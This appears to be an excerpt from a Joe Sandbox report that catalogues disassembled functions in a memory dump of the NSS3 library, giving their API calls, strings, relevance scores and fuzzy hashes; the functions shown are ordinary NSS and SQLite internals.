API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: e4f71997b3297ba140045b903bb6da49fc110a3cd95ba927356da479df6bdfbf
Instruction ID: f6b2cf4f4003f6674094646c7514b338fe3c968f67e044e6ecb7af0dd978138c
Opcode Fuzzy Hash: e4f71997b3297ba140045b903bb6da49fc110a3cd95ba927356da479df6bdfbf
Instruction Fuzzy Hash: 9B72D2B1D002449FEF519F64DA887AA7BB4BF0531CF2801B9DC09AB742E734E955CB91

Function 6CEC4840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6CEA601B,?,00000000,?), ref: 6CEC486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CEC48A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CEC48BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CEC48DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CEC48F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CEC490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CEC4919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CEC493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEC4970
PORT_Alloc_Util.NSS3(00000001), ref: 6CEC49A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CEC49AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEC49D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CEC49F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CEC4A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CEC4A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CEC4A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CEC4A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CEC4A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CEC4A81
free.MOZGLUE(00000000), ref: 6CEC4AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CEC4ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CEC4ADC
free.MOZGLUE(00000000), ref: 6CEC4B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CEC4B33

Part of subcall function 6CEC4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEC413D
Part of subcall function 6CEC4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEC4162
Part of subcall function 6CEC4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEC416B
Part of subcall function 6CEC4120: PL_strncasecmp.NSS3(2Bl,?,00000001), ref: 6CEC4187
Part of subcall function 6CEC4120: NSSUTIL_ArgSkipParameter.NSS3(2Bl), ref: 6CEC41A0
Part of subcall function 6CEC4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEC41B4
Part of subcall function 6CEC4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CEC41CC
Part of subcall function 6CEC4120: NSSUTIL_ArgFetchValue.NSS3(2Bl,?), ref: 6CEC4203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CEC4B53
free.MOZGLUE(00000000), ref: 6CEC4B94
free.MOZGLUE(?), ref: 6CEC4BA7
free.MOZGLUE(00000000), ref: 6CEC4BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEC4BC8

Strings

timeout, xrefs: 6CEC4A38, 6CEC4A7B
hasRootCerts, xrefs: 6CEC4AD6
askpw, xrefs: 6CEC4A4A
hasRootTrust, xrefs: 6CEC4B4D
every, xrefs: 6CEC4A66
slotFlags, xrefs: 6CEC4A22
rootFlags, xrefs: 6CEC4AB9, 6CEC4B2E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 21fc12ae618104914dd48d5a1880c6c13e12508a7f1b27fc0927631a0f9a4240
Instruction ID: 438fd8fb7be1163ab4d8c7e759298362b7c122f0d01b93d57190f43de0f32152
Opcode Fuzzy Hash: 21fc12ae618104914dd48d5a1880c6c13e12508a7f1b27fc0927631a0f9a4240
Instruction Fuzzy Hash: 09C10875F052569FEB108F68DD40BBE7BB8AF0624CF24002AEC65A7701E7359915C7A2

Function 6CE86D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CF8A8EC,0000006C), ref: 6CE86DC6
memcpy.VCRUNTIME140(?,6CF8A958,0000006C), ref: 6CE86DDB
memcpy.VCRUNTIME140(?,6CF8A9C4,00000078), ref: 6CE86DF1
memcpy.VCRUNTIME140(?,6CF8AA3C,0000006C), ref: 6CE86E06
memcpy.VCRUNTIME140(?,6CF8AAA8,00000060), ref: 6CE86E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE86E38

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CE86E76
TlsGetValue.KERNEL32 ref: 6CE8726F
EnterCriticalSection.KERNEL32(?), ref: 6CE87283

Strings

!, xrefs: 6CE87123

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: e92dbe18ef4c6099ac54e958be153261e154144b4f08466b395ecf3961b44288
Instruction ID: 8af4a4c22393440411421371428af7b5192bc7e96391d7c243d73056f6f4398d
Opcode Fuzzy Hash: e92dbe18ef4c6099ac54e958be153261e154144b4f08466b395ecf3961b44288
Instruction Fuzzy Hash: 80729175E062149FDF60DF28CC8879ABBB5EF49308F2441A9E80CA7751E7319A85CF91

Function 6CDF3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CDF3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CDF410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF449C

Strings

%s at line %d of [%.10s], xrefs: 6CDF4495, 6CDF44F9, 6CDF459E, 6CDF4769, 6CDF4809
database corruption, xrefs: 6CDF4490, 6CDF44F4, 6CDF4599, 6CDF4764, 6CDF4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF4452, 6CDF4486, 6CDF44EA, 6CDF4571, 6CDF4580, 6CDF458F, 6CDF475A, 6CDF47FA

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: c347b442ed71940060d3697096f9d277201d4b914b15664b07ea77b468c455b9
Instruction ID: e8525c0d25edefe6d9c7af811da4ac11fb07aa7377782543f0410c4bf1a5c825
Opcode Fuzzy Hash: c347b442ed71940060d3697096f9d277201d4b914b15664b07ea77b468c455b9
Instruction Fuzzy Hash: 95829F75A00205DFDB04CF69C580B9AB7F2BF49318F2681A9D915ABB61D731EC43CBA1

Function 6CECAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CECACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CECACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CECACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CECAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CECADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CECADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CECADF0

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CECB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CECB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CECB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CECB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CECB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CECB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CECB40C

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: b7156a54fc08c5247050a6e2d481f1df9e7024af3ee897401c8906dffd3826b3
Instruction ID: db115462f5bb17dcf0c8e62b2f53f39973249372bfd823648dad1e3f5b2d2808
Opcode Fuzzy Hash: b7156a54fc08c5247050a6e2d481f1df9e7024af3ee897401c8906dffd3826b3
Instruction Fuzzy Hash: BF228D71A04301AFE710CF14CE45B9A77B1AF8430CF24856CE8695B7A2E772E859CB97

Function 6CE4ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE4ED38

Part of subcall function 6CDE4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDE4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE4EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE4EFE4

Part of subcall function 6CF0DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDE5001,?,00000003,00000000), ref: 6CF0DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE4F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE4F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE4F1D1
sqlite3_free.NSS3(?), ref: 6CE4F368

Strings

fts3, xrefs: 6CE4F247
fts3tokenize, xrefs: 6CE4F30F
simple, xrefs: 6CE4ED79
offsets, xrefs: 6CE4EFAF, 6CE4EFDF, 6CE4F01F
snippet, xrefs: 6CE4EF05, 6CE4EF37, 6CE4EF7C
matchinfo, xrefs: 6CE4F04F, 6CE4F082, 6CE4F0C2, 6CE4F0F2, 6CE4F124, 6CE4F169
fts3_tokenizer, xrefs: 6CE4EE1A, 6CE4EEA8
optimize, xrefs: 6CE4F199, 6CE4F1CC, 6CE4F211
unicode61, xrefs: 6CE4EDB5
porter, xrefs: 6CE4ED97
fts4aux, xrefs: 6CE4ECF9
fts4, xrefs: 6CE4F2AD

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 69a0a88a2f927bbda3978d966e3d8deee60b96c6843b19dc2a3aebb216a4ec1a
Instruction ID: ee8117ce5fd5991e1a60bbd41b065b71a1467052e9c08625f817abdbb2b72b27
Opcode Fuzzy Hash: 69a0a88a2f927bbda3978d966e3d8deee60b96c6843b19dc2a3aebb216a4ec1a
Instruction Fuzzy Hash: 6202F2B1B543409BE7049F31A88573B76B27BC5B0CF24C93CD85A87B01EB79E9468792

Function 6CEC7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CEC7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEC7D1E

Part of subcall function 6CEC7870: SECOID_FindOID_Util.NSS3(?,?,?,6CEC91C5), ref: 6CEC788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEC7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEC7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEC7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEC7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEC7E58

Part of subcall function 6CEC7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CEC91C5), ref: 6CEC78BB
Part of subcall function 6CEC7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CEC91C5), ref: 6CEC78FA
Part of subcall function 6CEC7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CEC91C5), ref: 6CEC7930
Part of subcall function 6CEC7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CEC91C5), ref: 6CEC7951
Part of subcall function 6CEC7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEC7964
Part of subcall function 6CEC7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEC797A
Part of subcall function 6CEC7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CEC7988
Part of subcall function 6CEC7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CEC7998
Part of subcall function 6CEC7870: free.MOZGLUE(00000000), ref: 6CEC79A7
Part of subcall function 6CEC7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CEC91C5), ref: 6CEC79BB
Part of subcall function 6CEC7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CEC91C5), ref: 6CEC79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEC7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEC7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEC7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CEC7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CEC8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CEC8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CEC8093
SECOID_FindOID_Util.NSS3 ref: 6CEC7F29

Part of subcall function 6CEC07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE68298,?,?,?,6CE5FCE5,?), ref: 6CEC07BF
Part of subcall function 6CEC07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEC07E6
Part of subcall function 6CEC07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC081B
Part of subcall function 6CEC07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEC8072
SECOID_FindOID_Util.NSS3 ref: 6CEC80F5

Part of subcall function 6CECBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CEC800A,00000000,?,00000000,?), ref: 6CECBC3F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: d3716a8a2c21ba8f7b9bc4ff6428a9b308097dffd4f322978bee38166be61f84
Instruction ID: 08649f6067f4d38755548123a668c93a9b99a42835f581f750ff41d7041f8f70
Opcode Fuzzy Hash: d3716a8a2c21ba8f7b9bc4ff6428a9b308097dffd4f322978bee38166be61f84
Instruction Fuzzy Hash: 95E16B716083019FE710CF28CA80B5AB7F5AF4930CF24496DE9AA9BB51E731E845CB53

Function 6CE51C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE51C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE51C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE51CA1
GetLengthSid.ADVAPI32(?), ref: 6CE51CA9
malloc.MOZGLUE(00000000), ref: 6CE51CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE51CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE51CE4
GetLengthSid.ADVAPI32(?), ref: 6CE51CEC
malloc.MOZGLUE(00000000), ref: 6CE51CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE51D0F
CloseHandle.KERNEL32(?), ref: 6CE51D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE51D4D
GetLastError.KERNEL32 ref: 6CE51D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE51D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE51D7A

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 85428c8fc2aead74173e8127936a823702e59f91dca58dbedbb891fc4864d622
Instruction ID: 7bd94bfb38b51b0af8b970dd3d60fef67228df3ea2bdc8cc34dc3e91f54c8098
Opcode Fuzzy Hash: 85428c8fc2aead74173e8127936a823702e59f91dca58dbedbb891fc4864d622
Instruction Fuzzy Hash: 783152B5E102189FEF50AF64DC88BAB7BB8FF4A345F004065FA0992250E7315994CF69

Function 6CE53D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE53DFB
__allrem.LIBCMT ref: 6CE53EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE53FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE54047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE540DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE5415F
__allrem.LIBCMT ref: 6CE5416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE54288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE542AB
__allrem.LIBCMT ref: 6CE542B7

Strings

%02d, xrefs: 6CE54086
%03d, xrefs: 6CE542E8
%04d, xrefs: 6CE5407B
%lld, xrefs: 6CE53FB2

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 8312045404b1983137f015e3fdd3443d41e8d96a8d7e05c0feecdff28ee6f3e6
Instruction ID: 81524b7de18c4f3102d31c76559b217312cda383f50ebb3df92c4eb95bb38bb4
Opcode Fuzzy Hash: 8312045404b1983137f015e3fdd3443d41e8d96a8d7e05c0feecdff28ee6f3e6
Instruction Fuzzy Hash: 88F15571A087409FD715CF38C841BABB7F6AF86308F648A1EF48597750E732D8668B52

Function 6CE5EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE5EF63

Part of subcall function 6CE687D0: PORT_NewArena_Util.NSS3(00000800,6CE5EF74,00000000), ref: 6CE687E8
Part of subcall function 6CE687D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE5EF74,00000000), ref: 6CE687FD
Part of subcall function 6CE687D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE6884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE5F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE5F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE5F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE5F374
PL_strcasecmp.NSS3(6CFA2FD4,?), ref: 6CE5F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE5F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE5F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE5F67D
CERT_DestroyName.NSS3(?), ref: 6CE5F68B

Part of subcall function 6CE68320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE68338
Part of subcall function 6CE68320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE68364
Part of subcall function 6CE68320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE6838E
Part of subcall function 6CE68320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE683A5
Part of subcall function 6CE68320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE683E3

Part of subcall function 6CE684C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE684D9
